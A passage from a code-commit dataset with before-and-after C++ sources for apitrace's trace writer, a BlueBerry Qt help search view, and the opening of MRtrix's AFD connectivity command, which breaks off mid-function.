os::getCurrentDir();\n prefix.join(process);\n\n for (;;) {\n FILE *file;\n\n if (dwCounter)\n szFileName = os::String::format(\"%s.%u.trace\", prefix.str(), dwCounter);\n else\n szFileName = os::String::format(\"%s.trace\", prefix.str());\n\n lpFileName = szFileName;\n file = fopen(lpFileName, \"rb\");\n if (file == NULL)\n break;\n\n fclose(file);\n\n ++dwCounter;\n }\n }\n\n os::log(\"apitrace: tracing to %s\\n\", lpFileName);\n\n if (!Writer::open(lpFileName)) {\n os::log(\"apitrace: error: failed to open %s\\n\", lpFileName);\n os::abort();\n }\n\n#if 0\n \/\/ For debugging the exception handler\n *((int *)0) = 0;\n#endif\n}\n\nstatic unsigned next_thread_id = 0;\nstatic os::thread_specific_ptr<unsigned> thread_id_specific_ptr;\n\nunsigned LocalWriter::beginEnter(const FunctionSig *sig) {\n os::acquireMutex();\n ++acquired;\n\n if (!m_file->isOpened()) {\n open();\n }\n\n unsigned *thread_id_ptr = thread_id_specific_ptr.get();\n unsigned thread_id;\n if (thread_id_ptr) {\n thread_id = *thread_id_ptr;\n } else {\n thread_id = next_thread_id++;\n thread_id_ptr = new unsigned;\n *thread_id_ptr = thread_id;\n thread_id_specific_ptr.reset(thread_id_ptr);\n }\n\n return Writer::beginEnter(sig, thread_id);\n}\n\nvoid LocalWriter::endEnter(void) {\n Writer::endEnter();\n --acquired;\n os::releaseMutex();\n}\n\nvoid LocalWriter::beginLeave(unsigned call) {\n os::acquireMutex();\n ++acquired;\n Writer::beginLeave(call);\n}\n\nvoid LocalWriter::endLeave(void) {\n Writer::endLeave();\n --acquired;\n os::releaseMutex();\n}\n\nvoid LocalWriter::flush(void) {\n \/*\n * Do nothing if the mutex is already acquired (e.g., if a segfault happen\n * while writing the file) to prevent dead-lock.\n *\/\n\n if (!acquired) {\n os::acquireMutex();\n if (m_file->isOpened()) {\n os::log(\"apitrace: flushing trace due to an exception\\n\");\n m_file->flush();\n }\n os::releaseMutex();\n }\n}\n\n\nLocalWriter localWriter;\n\n\n} \/* namespace trace *\/\n\n<commit_msg>More helpful messages on exceptions inside apitrace code.<commit_after>\/**************************************************************************\n *\n * Copyright 2007-2011 VMware, Inc.\n * All Rights Reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n **************************************************************************\/\n\n\n#include <assert.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"os.hpp\"\n#include \"os_thread.hpp\"\n#include \"os_string.hpp\"\n#include \"trace_file.hpp\"\n#include \"trace_writer.hpp\"\n#include \"trace_format.hpp\"\n\n\nnamespace trace {\n\n\nstatic const char *memcpy_args[3] = {\"dest\", \"src\", \"n\"};\nconst FunctionSig memcpy_sig = {0, \"memcpy\", 3, memcpy_args};\n\nstatic const char *malloc_args[1] = {\"size\"};\nconst FunctionSig malloc_sig = {1, \"malloc\", 1, malloc_args};\n\nstatic const char *free_args[1] = {\"ptr\"};\nconst FunctionSig free_sig = {2, \"free\", 1, free_args};\n\nstatic const char *realloc_args[2] = {\"ptr\", \"size\"};\nconst FunctionSig realloc_sig = {3, \"realloc\", 2, realloc_args};\n\n\nstatic void exceptionCallback(void)\n{\n localWriter.flush();\n}\n\n\nLocalWriter::LocalWriter() :\n acquired(0)\n{\n \/\/ Install the signal handlers as early as possible, to prevent\n \/\/ interfering with the application's signal handling.\n os::setExceptionCallback(exceptionCallback);\n}\n\nLocalWriter::~LocalWriter()\n{\n os::resetExceptionCallback();\n}\n\nvoid\nLocalWriter::open(void) {\n os::String szFileName;\n\n const char *lpFileName;\n\n lpFileName = getenv(\"TRACE_FILE\");\n if (!lpFileName) {\n static unsigned dwCounter = 0;\n\n os::String process = os::getProcessName();\n#ifdef _WIN32\n process.trimExtension();\n#endif\n process.trimDirectory();\n\n os::String prefix = os::getCurrentDir();\n prefix.join(process);\n\n for (;;) {\n FILE *file;\n\n if (dwCounter)\n szFileName = os::String::format(\"%s.%u.trace\", prefix.str(), dwCounter);\n else\n szFileName = os::String::format(\"%s.trace\", prefix.str());\n\n lpFileName = szFileName;\n file = fopen(lpFileName, \"rb\");\n if (file == NULL)\n break;\n\n fclose(file);\n\n ++dwCounter;\n }\n }\n\n os::log(\"apitrace: tracing to %s\\n\", lpFileName);\n\n if (!Writer::open(lpFileName)) {\n os::log(\"apitrace: error: failed to open %s\\n\", lpFileName);\n os::abort();\n }\n\n#if 0\n \/\/ For debugging the exception handler\n *((int *)0) = 0;\n#endif\n}\n\nstatic unsigned next_thread_id = 0;\nstatic os::thread_specific_ptr<unsigned> thread_id_specific_ptr;\n\nunsigned LocalWriter::beginEnter(const FunctionSig *sig) {\n os::acquireMutex();\n ++acquired;\n\n if (!m_file->isOpened()) {\n open();\n }\n\n unsigned *thread_id_ptr = thread_id_specific_ptr.get();\n unsigned thread_id;\n if (thread_id_ptr) {\n thread_id = *thread_id_ptr;\n } else {\n thread_id = next_thread_id++;\n thread_id_ptr = new unsigned;\n *thread_id_ptr = thread_id;\n thread_id_specific_ptr.reset(thread_id_ptr);\n }\n\n return Writer::beginEnter(sig, thread_id);\n}\n\nvoid LocalWriter::endEnter(void) {\n Writer::endEnter();\n --acquired;\n os::releaseMutex();\n}\n\nvoid LocalWriter::beginLeave(unsigned call) {\n os::acquireMutex();\n ++acquired;\n Writer::beginLeave(call);\n}\n\nvoid LocalWriter::endLeave(void) {\n Writer::endLeave();\n --acquired;\n os::releaseMutex();\n}\n\nvoid LocalWriter::flush(void) {\n \/*\n * Do nothing if the mutex is already acquired (e.g., if a segfault happen\n * while writing the file) to prevent dead-lock.\n *\/\n\n os::acquireMutex();\n if (acquired) {\n os::log(\"apitrace: ignoring exception while tracing\\n\");\n } else {\n ++acquired;\n if (m_file->isOpened()) {\n os::log(\"apitrace: flushing trace due to an exception\\n\");\n m_file->flush();\n }\n --acquired;\n }\n os::releaseMutex();\n}\n\n\nLocalWriter localWriter;\n\n\n} \/* namespace trace *\/\n\n<|endoftext|>"} {"text":"<commit_before>\/*===================================================================\n\nBlueBerry Platform\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#ifdef __MINGW32__\n\/\/ We need to inlclude winbase.h here in order to declare\n\/\/ atomic intrinsics like InterlockedIncrement correctly.\n\/\/ Otherwhise, they would be declared wrong within qatomic_windows.h .\n#include <windows.h>\n#endif\n\n#include \"berryHelpSearchView.h\"\n\n#include \"berryHelpPluginActivator.h\"\n#include \"berryQHelpEngineWrapper.h\"\n#include \"berryHelpEditorInput.h\"\n#include \"berryHelpEditor.h\"\n\n#include <QLayout>\n#include <QMenu>\n#include <QEvent>\n#include <QMouseEvent>\n#include <QTextBrowser>\n#include <QClipboard>\n#include <QHelpSearchQueryWidget>\n#include <QHelpSearchResultWidget>\n#include <QApplication>\n\nnamespace berry {\n\nHelpSearchView::HelpSearchView()\n : m_ZoomCount(0)\n , m_Parent(0)\n , m_SearchEngine(HelpPluginActivator::getInstance()->getQHelpEngine().searchEngine())\n , m_ResultWidget(0)\n , m_QueryWidget(0)\n{\n}\n\nHelpSearchView::~HelpSearchView()\n{\n \/\/ prevent deletion of the widget\n m_ResultWidget->setParent(0);\n}\n\nvoid HelpSearchView::CreateQtPartControl(QWidget* parent)\n{\n if (m_ResultWidget == 0)\n {\n m_Parent = parent;\n\n QVBoxLayout* vLayout = new QVBoxLayout(parent);\n\n \/\/ This will be lead to strange behavior when using multiple instances of this view\n \/\/ because the QHelpSearchResultWidget instance is shared. The new view will\n \/\/ reparent the widget.\n m_ResultWidget = m_SearchEngine->resultWidget();\n m_QueryWidget = new QHelpSearchQueryWidget();\n\n vLayout->addWidget(m_QueryWidget);\n vLayout->addWidget(m_ResultWidget);\n\n connect(m_QueryWidget, SIGNAL(search()), this, SLOT(search()));\n connect(m_ResultWidget, SIGNAL(requestShowLink(QUrl)), this,\n SLOT(requestShowLink(QUrl)));\n\n connect(m_SearchEngine, SIGNAL(searchingStarted()), this,\n SLOT(searchingStarted()));\n connect(m_SearchEngine, SIGNAL(searchingFinished(int)), this,\n SLOT(searchingFinished(int)));\n\n QTextBrowser* browser = qFindChild<QTextBrowser*>(m_ResultWidget);\n if (browser) \/\/ Will be null if QtHelp was configured not to use CLucene.\n {\n browser->viewport()->installEventFilter(this);\n browser->setContextMenuPolicy(Qt::CustomContextMenu);\n connect(browser, SIGNAL(customContextMenuRequested(QPoint)),\n this, SLOT(showContextMenu(QPoint)));\n }\n }\n}\n\nvoid HelpSearchView::SetFocus()\n{\n if (!(m_ResultWidget->hasFocus()))\n {\n m_QueryWidget->setFocus();\n }\n}\n\nvoid HelpSearchView::zoomIn()\n{\n QTextBrowser* browser = qFindChild<QTextBrowser*>(m_ResultWidget);\n if (browser && m_ZoomCount != 10)\n {\n m_ZoomCount++;\n browser->zoomIn();\n }\n}\n\nvoid HelpSearchView::zoomOut()\n{\n QTextBrowser* browser = qFindChild<QTextBrowser*>(m_ResultWidget);\n if (browser && m_ZoomCount != -5)\n {\n m_ZoomCount--;\n browser->zoomOut();\n }\n}\n\nvoid HelpSearchView::resetZoom()\n{\n if (m_ZoomCount == 0)\n return;\n\n QTextBrowser* browser = qFindChild<QTextBrowser*>(m_ResultWidget);\n if (browser)\n {\n browser->zoomOut(m_ZoomCount);\n m_ZoomCount = 0;\n }\n}\n\nvoid HelpSearchView::search() const\n{\n QList<QHelpSearchQuery> query = m_QueryWidget->query();\n m_SearchEngine->search(query);\n}\n\nvoid HelpSearchView::searchingStarted()\n{\n m_Parent->setCursor(QCursor(Qt::WaitCursor));\n}\n\nvoid HelpSearchView::searchingFinished(int hits)\n{\n Q_UNUSED(hits)\n m_Parent->unsetCursor();\n \/\/qApp->restoreOverrideCursor();\n}\n\nvoid HelpSearchView::requestShowLink(const QUrl &link)\n{\n HelpPluginActivator::linkActivated(this->GetSite()->GetPage(), link);\n}\n\nbool HelpSearchView::eventFilter(QObject* o, QEvent *e)\n{\n QTextBrowser* browser = qFindChild<QTextBrowser*>(m_ResultWidget);\n if (browser && o == browser->viewport()\n && e->type() == QEvent::MouseButtonRelease)\n {\n QMouseEvent* me = static_cast<QMouseEvent*>(e);\n QUrl link = m_ResultWidget->linkAt(me->pos());\n if (!link.isEmpty() || link.isValid())\n {\n bool controlPressed = me->modifiers() & Qt::ControlModifier;\n if((me->button() == Qt::LeftButton && controlPressed)\n || (me->button() == Qt::MidButton))\n {\n IEditorInput::Pointer input(new HelpEditorInput(link));\n this->GetSite()->GetPage()->OpenEditor(input, HelpEditor::EDITOR_ID);\n }\n }\n }\n return QObject::eventFilter(o,e);\n}\n\nvoid HelpSearchView::showContextMenu(const QPoint& point)\n{\n QMenu menu;\n\n QTextBrowser* browser = qFindChild<QTextBrowser*>(m_ResultWidget);\n if (!browser)\n return;\n\n\/\/ QPoint point = browser->mapFromGlobal(pos);\n\/\/ if (!browser->rect().contains(point, true))\n\/\/ return;\n\n QUrl link = browser->anchorAt(point);\n\n QKeySequence keySeq(QKeySequence::Copy);\n QAction *copyAction = menu.addAction(tr(\"&Copy\") + QLatin1String(\"\\t\") +\n keySeq.toString(QKeySequence::NativeText));\n copyAction->setEnabled(QTextCursor(browser->textCursor()).hasSelection());\n\n QAction *copyAnchorAction = menu.addAction(tr(\"Copy &Link Location\"));\n copyAnchorAction->setEnabled(!link.isEmpty() && link.isValid());\n\n keySeq = QKeySequence(Qt::CTRL);\n QAction *newTabAction = menu.addAction(tr(\"Open Link in New Tab\") +\n QLatin1String(\"\\t\") + keySeq.toString(QKeySequence::NativeText) +\n QLatin1String(\"LMB\"));\n newTabAction->setEnabled(!link.isEmpty() && link.isValid());\n\n menu.addSeparator();\n\n keySeq = QKeySequence::SelectAll;\n QAction *selectAllAction = menu.addAction(tr(\"Select All\") +\n QLatin1String(\"\\t\") + keySeq.toString(QKeySequence::NativeText));\n\n QAction *usedAction = menu.exec(browser->mapToGlobal(point));\n if (usedAction == copyAction)\n {\n QTextCursor cursor = browser->textCursor();\n if (!cursor.isNull() && cursor.hasSelection())\n {\n QString selectedText = cursor.selectedText();\n QMimeData *data = new QMimeData();\n data->setText(selectedText);\n QApplication::clipboard()->setMimeData(data);\n }\n }\n else if (usedAction == copyAnchorAction)\n {\n QApplication::clipboard()->setText(link.toString());\n }\n else if (usedAction == newTabAction)\n {\n IEditorInput::Pointer input(new HelpEditorInput(link));\n this->GetSite()->GetPage()->OpenEditor(input, HelpEditor::EDITOR_ID);\n }\n else if (usedAction == selectAllAction)\n {\n browser->selectAll();\n }\n}\n\n}\n<commit_msg>Replaced qFindChild macros with equivalent QObject::findChild method calls.<commit_after>\/*===================================================================\n\nBlueBerry Platform\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#ifdef __MINGW32__\n\/\/ We need to inlclude winbase.h here in order to declare\n\/\/ atomic intrinsics like InterlockedIncrement correctly.\n\/\/ Otherwhise, they would be declared wrong within qatomic_windows.h .\n#include <windows.h>\n#endif\n\n#include \"berryHelpSearchView.h\"\n\n#include \"berryHelpPluginActivator.h\"\n#include \"berryQHelpEngineWrapper.h\"\n#include \"berryHelpEditorInput.h\"\n#include \"berryHelpEditor.h\"\n\n#include <QLayout>\n#include <QMenu>\n#include <QEvent>\n#include <QMouseEvent>\n#include <QMimeData>\n#include <QTextBrowser>\n#include <QClipboard>\n#include <QHelpSearchQueryWidget>\n#include <QHelpSearchResultWidget>\n#include <QApplication>\n\nnamespace berry {\n\nHelpSearchView::HelpSearchView()\n : m_ZoomCount(0)\n , m_Parent(0)\n , m_SearchEngine(HelpPluginActivator::getInstance()->getQHelpEngine().searchEngine())\n , m_ResultWidget(0)\n , m_QueryWidget(0)\n{\n}\n\nHelpSearchView::~HelpSearchView()\n{\n \/\/ prevent deletion of the widget\n m_ResultWidget->setParent(0);\n}\n\nvoid HelpSearchView::CreateQtPartControl(QWidget* parent)\n{\n if (m_ResultWidget == 0)\n {\n m_Parent = parent;\n\n QVBoxLayout* vLayout = new QVBoxLayout(parent);\n\n \/\/ This will be lead to strange behavior when using multiple instances of this view\n \/\/ because the QHelpSearchResultWidget instance is shared. The new view will\n \/\/ reparent the widget.\n m_ResultWidget = m_SearchEngine->resultWidget();\n m_QueryWidget = new QHelpSearchQueryWidget();\n\n vLayout->addWidget(m_QueryWidget);\n vLayout->addWidget(m_ResultWidget);\n\n connect(m_QueryWidget, SIGNAL(search()), this, SLOT(search()));\n connect(m_ResultWidget, SIGNAL(requestShowLink(QUrl)), this,\n SLOT(requestShowLink(QUrl)));\n\n connect(m_SearchEngine, SIGNAL(searchingStarted()), this,\n SLOT(searchingStarted()));\n connect(m_SearchEngine, SIGNAL(searchingFinished(int)), this,\n SLOT(searchingFinished(int)));\n\n QTextBrowser* browser = m_ResultWidget->findChild<QTextBrowser*>();\n if (browser) \/\/ Will be null if QtHelp was configured not to use CLucene.\n {\n browser->viewport()->installEventFilter(this);\n browser->setContextMenuPolicy(Qt::CustomContextMenu);\n connect(browser, SIGNAL(customContextMenuRequested(QPoint)),\n this, SLOT(showContextMenu(QPoint)));\n }\n }\n}\n\nvoid HelpSearchView::SetFocus()\n{\n if (!(m_ResultWidget->hasFocus()))\n {\n m_QueryWidget->setFocus();\n }\n}\n\nvoid HelpSearchView::zoomIn()\n{\n QTextBrowser* browser = m_ResultWidget->findChild<QTextBrowser*>();\n if (browser && m_ZoomCount != 10)\n {\n m_ZoomCount++;\n browser->zoomIn();\n }\n}\n\nvoid HelpSearchView::zoomOut()\n{\n QTextBrowser* browser = m_ResultWidget->findChild<QTextBrowser*>();\n if (browser && m_ZoomCount != -5)\n {\n m_ZoomCount--;\n browser->zoomOut();\n }\n}\n\nvoid HelpSearchView::resetZoom()\n{\n if (m_ZoomCount == 0)\n return;\n\n QTextBrowser* browser = m_ResultWidget->findChild<QTextBrowser*>();\n if (browser)\n {\n browser->zoomOut(m_ZoomCount);\n m_ZoomCount = 0;\n }\n}\n\nvoid HelpSearchView::search() const\n{\n QList<QHelpSearchQuery> query = m_QueryWidget->query();\n m_SearchEngine->search(query);\n}\n\nvoid HelpSearchView::searchingStarted()\n{\n m_Parent->setCursor(QCursor(Qt::WaitCursor));\n}\n\nvoid HelpSearchView::searchingFinished(int hits)\n{\n Q_UNUSED(hits)\n m_Parent->unsetCursor();\n \/\/qApp->restoreOverrideCursor();\n}\n\nvoid HelpSearchView::requestShowLink(const QUrl &link)\n{\n HelpPluginActivator::linkActivated(this->GetSite()->GetPage(), link);\n}\n\nbool HelpSearchView::eventFilter(QObject* o, QEvent *e)\n{\n QTextBrowser* browser = m_ResultWidget->findChild<QTextBrowser*>();\n if (browser && o == browser->viewport()\n && e->type() == QEvent::MouseButtonRelease)\n {\n QMouseEvent* me = static_cast<QMouseEvent*>(e);\n QUrl link = m_ResultWidget->linkAt(me->pos());\n if (!link.isEmpty() || link.isValid())\n {\n bool controlPressed = me->modifiers() & Qt::ControlModifier;\n if((me->button() == Qt::LeftButton && controlPressed)\n || (me->button() == Qt::MidButton))\n {\n IEditorInput::Pointer input(new HelpEditorInput(link));\n this->GetSite()->GetPage()->OpenEditor(input, HelpEditor::EDITOR_ID);\n }\n }\n }\n return QObject::eventFilter(o,e);\n}\n\nvoid HelpSearchView::showContextMenu(const QPoint& point)\n{\n QMenu menu;\n\n QTextBrowser* browser = m_ResultWidget->findChild<QTextBrowser*>();\n if (!browser)\n return;\n\n\/\/ QPoint point = browser->mapFromGlobal(pos);\n\/\/ if (!browser->rect().contains(point, true))\n\/\/ return;\n\n QUrl link = browser->anchorAt(point);\n\n QKeySequence keySeq(QKeySequence::Copy);\n QAction *copyAction = menu.addAction(tr(\"&Copy\") + QLatin1String(\"\\t\") +\n keySeq.toString(QKeySequence::NativeText));\n copyAction->setEnabled(QTextCursor(browser->textCursor()).hasSelection());\n\n QAction *copyAnchorAction = menu.addAction(tr(\"Copy &Link Location\"));\n copyAnchorAction->setEnabled(!link.isEmpty() && link.isValid());\n\n keySeq = QKeySequence(Qt::CTRL);\n QAction *newTabAction = menu.addAction(tr(\"Open Link in New Tab\") +\n QLatin1String(\"\\t\") + keySeq.toString(QKeySequence::NativeText) +\n QLatin1String(\"LMB\"));\n newTabAction->setEnabled(!link.isEmpty() && link.isValid());\n\n menu.addSeparator();\n\n keySeq = QKeySequence::SelectAll;\n QAction *selectAllAction = menu.addAction(tr(\"Select All\") +\n QLatin1String(\"\\t\") + keySeq.toString(QKeySequence::NativeText));\n\n QAction *usedAction = menu.exec(browser->mapToGlobal(point));\n if (usedAction == copyAction)\n {\n QTextCursor cursor = browser->textCursor();\n if (!cursor.isNull() && cursor.hasSelection())\n {\n QString selectedText = cursor.selectedText();\n QMimeData *data = new QMimeData();\n data->setText(selectedText);\n QApplication::clipboard()->setMimeData(data);\n }\n }\n else if (usedAction == copyAnchorAction)\n {\n QApplication::clipboard()->setText(link.toString());\n }\n else if (usedAction == newTabAction)\n {\n IEditorInput::Pointer input(new HelpEditorInput(link));\n this->GetSite()->GetPage()->OpenEditor(input, HelpEditor::EDITOR_ID);\n }\n else if (usedAction == selectAllAction)\n {\n browser->selectAll();\n }\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2008-2016 the MRtrix3 contributors\n * \n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/\n * \n * MRtrix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * \n * For more details, see www.mrtrix.org\n * \n *\/\n\n\n#include \"command.h\"\n#include \"memory.h\"\n#include \"dwi\/fmls.h\"\n#include \"dwi\/tractography\/file.h\"\n#include \"dwi\/tractography\/properties.h\"\n#include \"dwi\/tractography\/mapping\/loader.h\"\n#include \"dwi\/tractography\/mapping\/mapper.h\"\n#include \"dwi\/tractography\/mapping\/mapping.h\"\n#include \"dwi\/tractography\/SIFT\/model_base.h\"\n\n\nusing namespace MR;\nusing namespace MR::DWI;\nusing namespace App;\n\nvoid usage ()\n{\n AUTHOR = \"David Raffelt (david.raffelt@florey.edu.au) and Robert E. Smith (robert.smith@florey.edu.au)\";\n\n DESCRIPTION\n + \"obtain an estimate of fibre connectivity between two regions using AFD and streamlines tractography\"\n\n + \"This estimate is obtained by determining a fibre volume (AFD) occupied by the pathway \"\n \"of interest, and dividing by the streamline length.\"\n\n + \"If only the streamlines belonging to the pathway of interest are provided, then \"\n \"ALL of the fibre volume within each fixel selected will contribute to the result. \"\n \"If the -wbft option is used to provide whole-brain fibre-tracking (of which the pathway of \"\n \"interest should contain a subset), only the fraction of the fibre volume in each fixel \"\n \"estiamted to belong to the pathway of interest will contribute to the result.\"\n\n + \"Use -quiet to suppress progress messages and output fibre connectivity value only.\"\n\n + \"For valid comparisons of AFD connectivity across scans, images MUST be intensity \"\n \"normalised and bias field corrected, and a common response function for all subjects \"\n \"must be used.\"\n\n + \"Note that the sum of the AFD is normalised by streamline length to \"\n \"account for subject differences in fibre bundle length. This normalisation results in a measure \"\n \"that is more related to the cross-sectional volume of the tract (and therefore 'connectivity'). \"\n \"Note that SIFT-ed tract count is a superior measure because it is unaffected by tangential yet unrelated \"\n \"fibres. However, AFD connectivity may be used as a substitute when Anatomically Constrained Tractography \"\n \"is not possible due to uncorrectable EPI distortions, and SIFT may therefore not be as effective.\";\n\n\n\n ARGUMENTS\n + Argument (\"image\", \"the input FOD image.\").type_image_in()\n\n + Argument (\"tracks\", \"the input track file defining the bundle of interest.\").type_tracks_in();\n\n OPTIONS\n + Option (\"wbft\", \"provide a whole-brain fibre-tracking data set (of which the input track file \"\n \"should be a subset), to improve the estimate of fibre bundle volume in the \"\n \"presence of partial volume\")\n + Argument (\"tracks\").type_tracks_in()\n\n + Option (\"afd_map\", \"output a 3D image containing the AFD estimated for each voxel.\")\n + Argument (\"image\").type_image_out()\n\n + Option (\"all_fixels\", \"if whole-brain fibre-tracking is NOT provided, then if multiple fixels within \"\n \"a voxel are traversed by the pathway of interest, by default the fixel with the \"\n \"greatest streamlines density is selected to contribute to the AFD in that voxel. \"\n \"If this option is provided, then ALL fixels with non-zero streamlines density \"\n \"will contribute to the result, even if multiple fixels per voxel are selected.\");\n\n}\n\n\ntypedef float value_type;\ntypedef DWI::Tractography::Mapping::SetDixel SetDixel;\ntypedef DWI::Tractography::SIFT::FixelBase FixelBase;\n\n\n\nclass Fixel : public FixelBase\n{\n public:\n Fixel () : FixelBase (), length (0.0) { }\n Fixel (const FMLS::FOD_lobe& lobe) : FixelBase (lobe), length (0.0) { }\n Fixel (const Fixel& that) : FixelBase (that), length (that.length) { }\n\n void add_to_selection (const value_type l) { length += l; }\n value_type get_selected_volume (const value_type l) const { return get_TD() ? (get_FOD() * (l \/ get_TD())) : 0.0; }\n value_type get_selected_volume () const { return get_TD() ? (get_FOD() * (length \/ get_TD())) : 0.0; }\n value_type get_selected_length() const { return length; }\n bool is_selected() const { return length; }\n\n private:\n value_type length;\n\n};\n\n\n\n\nclass AFDConnectivity : public DWI::Tractography::SIFT::ModelBase<Fixel>\n{\n public:\n AFDConnectivity (Image<value_type>& fod_buffer, const DWI::Directions::FastLookupSet& dirs, const std::string& tck_path, const std::string& wbft_path) :\n DWI::Tractography::SIFT::ModelBase<Fixel> (fod_buffer, dirs),\n have_wbft (wbft_path.size()),\n all_fixels (false),\n mapper (fod_buffer, dirs),\n v_fod (fod_buffer)\n {\n if (have_wbft) {\n perform_FOD_segmentation (fod_buffer);\n map_streamlines (wbft_path);\n } else {\n fmls.reset (new DWI::FMLS::Segmenter (dirs, Math::SH::LforN (fod_buffer.size (3))));\n }\n mapper.set_upsample_ratio (DWI::Tractography::Mapping::determine_upsample_ratio (fod_buffer, tck_path, 0.1));\n mapper.set_use_precise_mapping (true);\n }\n\n\n void set_all_fixels (const bool i) { all_fixels = i; }\n\n\n value_type get (const std::string& path);\n void save (const std::string& path);\n\n\n private:\n const bool have_wbft;\n bool all_fixels;\n DWI::Tractography::Mapping::TrackMapperBase mapper;\n Image<value_type> v_fod;\n copy_ptr<DWI::FMLS::Segmenter> fmls;\n\n using Fixel_map<Fixel>::accessor;\n\n};\n\n\n\nvalue_type AFDConnectivity::get (const std::string& path)\n{\n\n Tractography::Properties properties;\n Tractography::Reader<value_type> reader (path, properties);\n const size_t track_count = (properties.find (\"count\") == properties.end() ? 0 : to<size_t>(properties[\"count\"]));\n DWI::Tractography::Mapping::TrackLoader loader (reader, track_count, \"summing apparent fibre density within track\");\n\n \/\/ If WBFT is provided, this is the sum of (volume\/length) across streamlines\n \/\/ Otherwise, it's a sum of lengths of all streamlines (for later scaling by mean streamline length)\n double sum_contributions = 0.0;\n\n size_t count = 0;\n\n Tractography::Streamline<value_type> tck;\n while (loader (tck)) {\n ++count;\n\n SetDixel dixels;\n mapper (tck, dixels);\n double this_length = 0.0, this_volume = 0.0;\n\n for (SetDixel::const_iterator i = dixels.begin(); i != dixels.end(); ++i) {\n this_length += i->get_length();\n\n \/\/ If wbft has not been provided (i.e. FODs have not been pre-segmented), need to\n \/\/ check to see if any data have been provided for this voxel; and if not yet,\n \/\/ run the segmenter\n if (!have_wbft) {\n\n VoxelAccessor v (accessor());\n assign_pos_of (*i, 0, 3).to (v);\n if (!v.value()) {\n\n assign_pos_of (*i, 0, 3).to (v_fod);\n DWI::FMLS::SH_coefs fod_data;\n DWI::FMLS::FOD_lobes fod_lobes;\n\n fod_data.vox[0] = v_fod.index (0); fod_data.vox[1] = v_fod.index (1); fod_data.vox[2] = v_fod.index (2);\n fod_data.resize (v_fod.size (3));\n for (auto i = Loop(3) (v_fod); i; ++i)\n fod_data[v_fod.index (3)] = v_fod.value();\n\n (*fmls) (fod_data, fod_lobes);\n (*this) (fod_lobes);\n\n }\n }\n\n const size_t fixel_index = dixel2fixel (*i);\n Fixel& fixel = fixels[fixel_index];\n fixel.add_to_selection (i->get_length());\n if (have_wbft)\n this_volume += fixel.get_selected_volume (i->get_length());\n\n }\n\n if (have_wbft)\n sum_contributions += (this_volume \/ this_length);\n else\n sum_contributions += this_length;\n\n }\n\n if (!have_wbft) {\n\n \/\/ Streamlines define a fixel mask; go through and get all the fibre volumes\n double sum_volumes = 0.0;\n\n if (all_fixels) {\n\n \/\/ All fixels contribute to the result\n for (std::vector<Fixel>::const_iterator i = fixels.begin(); i != fixels.end(); ++i) {\n if (i->is_selected())\n sum_volumes += i->get_FOD();\n }\n\n } else {\n\n \/\/ Only allow one fixel per voxel to contribute to the result\n VoxelAccessor v (accessor());\n for (auto l = Loop(v) (v); l; ++l) {\n if (v.value()) {\n value_type voxel_afd = 0.0, max_td = 0.0;\n for (Fixel_map<Fixel>::Iterator i = begin (v); i; ++i) {\n if (i().get_selected_length() > max_td) {\n max_td = i().get_selected_length();\n voxel_afd = i().get_FOD();\n }\n }\n sum_volumes += voxel_afd;\n }\n }\n\n }\n\n \/\/ sum_contributions currently stores sum of streamline lengths;\n \/\/ turn into a mean length, then combine with volume to get a connectivity value\n const double mean_length = sum_contributions \/ double(count);\n sum_contributions = sum_volumes \/ mean_length;\n\n }\n\n return sum_contributions;\n\n}\n\n\n\nvoid AFDConnectivity::save (const std::string& path)\n{\n auto out = Image<value_type>::create (path, original_header());\n VoxelAccessor v (accessor());\n for (auto l = Loop(v) (v, out); l; ++l) {\n value_type value = 0.0;\n if (have_wbft) {\n for (Fixel_map<Fixel>::Iterator i = begin (v); i; ++i)\n value += i().get_selected_volume();\n } else if (all_fixels) {\n for (Fixel_map<Fixel>::Iterator i = begin (v); i; ++i)\n value += (i().is_selected() ? i().get_FOD() : 0.0);\n } else {\n value_type max_td = 0.0;\n for (Fixel_map<Fixel>::Iterator i = begin (v); i; ++i) {\n if (i().get_selected_length() > max_td) {\n max_td = i().get_selected_length();\n value = i().get_FOD();\n }\n }\n }\n out.value() = value;\n }\n}\n\n\n\nvoid run ()\n{\n auto opt = get_options (\"wbft\");\n const std::string wbft_path = opt.size() ? str(opt[0][0]) : \"\";\n\n DWI::Directions::FastLookupSet dirs (1281);\n auto fod = Image<value_type>::open (argument[0]);\n Math::SH::check (fod);\n AFDConnectivity model 